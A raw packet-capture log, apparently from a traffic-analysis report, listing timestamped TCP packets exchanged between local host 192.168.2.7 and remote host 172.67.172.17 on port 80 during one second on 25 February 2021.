Feb 25, 2021 15:16:00.863967896 CET	49736	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:16:00.863985062 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:00.863993883 CET	49736	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:16:00.864006042 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:00.864023924 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:00.864048958 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:00.864062071 CET	49736	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:16:00.864068031 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:00.864089012 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:00.864094019 CET	49736	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:16:00.864134073 CET	49736	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:16:00.864655018 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:00.864677906 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:00.864700079 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:00.864737034 CET	49736	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:16:00.864773035 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:00.864793062 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:00.864819050 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:00.864835978 CET	49736	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:16:00.864836931 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:00.864856005 CET	49736	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:16:00.864859104 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:00.864881992 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:00.864909887 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:00.864923000 CET	49736	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:16:00.864931107 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:00.864950895 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:00.864952087 CET	49736	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:16:00.864968061 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:00.864986897 CET	49736	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:16:00.864988089 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:00.865652084 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:00.865673065 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:00.865696907 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:00.865737915 CET	49736	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:16:00.866055965 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:00.866079092 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:00.866105080 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:00.866125107 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:00.866134882 CET	49736	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:16:00.866152048 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:00.866166115 CET	49736	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:16:00.866172075 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:00.866189957 CET	49736	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:16:00.866193056 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:00.866211891 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:00.866236925 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:00.866255045 CET	49736	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:16:00.866285086 CET	49736	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:16:00.867575884 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:00.867599964 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:00.867629051 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:00.867645979 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:00.867666960 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:00.867683887 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:00.867687941 CET	49736	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:16:00.867702007 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:00.867718935 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:00.867733002 CET	49736	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:16:00.867738962 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:00.867758989 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:00.867759943 CET	49736	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:16:00.867777109 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:00.867791891 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:00.867810011 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:00.867810011 CET	49736	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:16:00.867820978 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:00.867830992 CET	49736	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:16:00.867865086 CET	49736	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:16:00.867980957 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:00.868005991 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:00.868027925 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:00.868045092 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:00.868057966 CET	49736	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:16:00.868072033 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:00.868083954 CET	49736	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:16:00.868092060 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:00.868109941 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:00.868144989 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:00.868160963 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:00.868163109 CET	49736	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:16:00.868179083 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:00.868196011 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:00.868197918 CET	49736	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:16:00.868213892 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:00.868216038 CET	49736	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:16:00.868232012 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:00.868247986 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:00.868262053 CET	49736	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:16:00.868285894 CET	49736	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:16:00.868988991 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:00.869009972 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:00.869039059 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:00.869060040 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:00.869082928 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:00.869085073 CET	49736	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:16:00.869103909 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:00.869110107 CET	49736	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:16:00.869124889 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:00.869137049 CET	49736	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:16:00.869146109 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:00.869164944 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:00.869189024 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:00.869204044 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:00.869204998 CET	49736	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:16:00.869235992 CET	49736	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:16:00.869735003 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:00.869788885 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:00.869813919 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:00.869833946 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:00.869849920 CET	49736	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:16:00.869856119 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:00.869875908 CET	49736	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:16:00.869879007 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:00.869899035 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:00.869904041 CET	49736	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:16:00.869920015 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:00.869939089 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:00.869946003 CET	49736	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:16:00.869962931 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:00.869982958 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:00.869986057 CET	49736	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:16:00.870002031 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:00.870022058 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:00.870027065 CET	49736	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:16:00.870042086 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:00.870050907 CET	49736	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:16:00.870688915 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:00.870711088 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:00.870737076 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:00.870755911 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:00.870776892 CET	49736	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:16:00.870780945 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:00.870801926 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:00.870810986 CET	49736	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:16:00.870825052 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:00.870834112 CET	49736	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:16:00.870846033 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:00.870855093 CET	49736	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:16:00.870867014 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:00.870883942 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:00.870919943 CET	49736	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:16:00.872452974 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:00.872478008 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:00.872503042 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:00.872524023 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:00.872549057 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:00.872556925 CET	49736	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:16:00.872570038 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:00.872581005 CET	49736	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:16:00.872596025 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:00.872607946 CET	49736	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:16:00.872615099 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:00.872629881 CET	49736	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:16:00.872636080 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:00.872654915 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:00.872677088 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:00.872692108 CET	49736	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:16:00.872697115 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:00.872715950 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:00.872725010 CET	49736	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:16:00.872737885 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:00.872759104 CET	49736	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:16:00.872921944 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:00.872944117 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:00.872970104 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:00.872984886 CET	49736	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:16:00.872988939 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:00.873012066 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:00.873018980 CET	49736	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:16:00.873037100 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:00.873047113 CET	49736	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:16:00.873058081 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:00.873076916 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:00.873102903 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:00.873106956 CET	49736	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:16:00.873125076 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:00.873146057 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:00.873167038 CET	49736	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:16:00.873188972 CET	49736	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:16:00.873640060 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:00.873661041 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:00.873687029 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:00.873707056 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:00.873708963 CET	49736	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:16:00.873727083 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:00.873742104 CET	49736	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:16:00.873748064 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:00.873769999 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:00.873792887 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:00.873805046 CET	49736	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:16:00.873816013 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:00.873836040 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:00.873843908 CET	49736	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:16:00.873856068 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:00.873878956 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:00.873894930 CET	49736	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:16:00.873898029 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:00.873917103 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:00.873927116 CET	49736	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:16:00.873958111 CET	49736	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:16:00.874727964 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:00.874749899 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:00.874779940 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:00.874799013 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:00.874819994 CET	49736	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:16:00.874820948 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:00.874840975 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:00.874846935 CET	49736	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:16:00.874861002 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:00.874883890 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:00.874900103 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:00.874902010 CET	49736	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:16:00.874917984 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:00.874933004 CET	49736	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:16:00.874933958 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:00.874950886 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:00.874954939 CET	49736	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:16:00.874968052 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:00.874985933 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:00.874989033 CET	49736	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:16:00.875022888 CET	49736	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:16:00.875605106 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:00.875631094 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:00.875653982 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:00.875663042 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:00.875684023 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:00.875705004 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:00.875722885 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:00.875725985 CET	49736	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:16:00.875741959 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:00.875757933 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:00.875781059 CET	49736	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:16:00.875782013 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:00.875802040 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:00.875807047 CET	49736	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:16:00.875825882 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:00.875828981 CET	49736	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:16:00.875844955 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:00.875869989 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:00.875879049 CET	49736	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:16:00.875899076 CET	49736	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:16:00.876574993 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:00.876597881 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:00.876626015 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:00.876641035 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:00.876641035 CET	49736	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:16:00.876660109 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:00.876676083 CET	49736	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:16:00.876679897 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:00.876699924 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:00.876724005 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:00.876739025 CET	49736	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:16:00.876744032 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:00.876760006 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:00.876770020 CET	49736	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:16:00.876784086 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:00.876802921 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:00.876801968 CET	49736	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:16:00.876821041 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:00.876842976 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:00.876854897 CET	49736	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:16:00.876885891 CET	49736	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:16:00.877666950 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:00.877700090 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:00.877720118 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:00.877743959 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:00.877764940 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:00.877787113 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:00.877788067 CET	49736	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:16:00.877806902 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:00.877821922 CET	49736	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:16:00.877830982 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:00.877845049 CET	49736	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:16:00.877850056 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:00.877866983 CET	49736	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:16:00.877870083 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:00.877890110 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:00.877916098 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:00.877922058 CET	49736	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:16:00.877935886 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:00.877954006 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:00.877954006 CET	49736	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:16:00.877985954 CET	49736	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:16:00.878588915 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:00.878612995 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:00.878643036 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:00.878663063 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:00.878664970 CET	49736	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:16:00.878683090 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:00.878690958 CET	49736	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:16:00.878704071 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:00.878722906 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:00.878746033 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:00.878763914 CET	49736	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:16:00.878765106 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:00.878784895 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:00.878794909 CET	49736	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:16:00.878808022 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:00.878823996 CET	49736	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:16:00.878828049 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:00.878845930 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:00.878880024 CET	49736	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:16:00.880953074 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:00.880975962 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:00.881006956 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:00.881030083 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:00.881037951 CET	49736	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:16:00.881056070 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:00.881068945 CET	49736	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:16:00.881078005 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:00.881089926 CET	49736	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:16:00.881098986 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:00.881119967 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:00.881143093 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:00.881150961 CET	49736	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:16:00.881162882 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:00.881181955 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:00.881189108 CET	49736	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:16:00.881206036 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:00.881218910 CET	49736	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:16:00.881225109 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:00.881254911 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:00.881288052 CET	49736	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:16:00.881444931 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:00.881467104 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:00.881490946 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:00.881500959 CET	49736	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:16:00.881513119 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:00.881521940 CET	49736	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:16:00.881535053 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:00.881556034 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:00.881577969 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:00.881587982 CET	49736	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:16:00.881597996 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:00.881618023 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:00.881618977 CET	49736	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:16:00.881637096 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:00.881649971 CET	49736	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:16:00.881652117 CET	80	49736	172.67.172.17	192.168.2.7
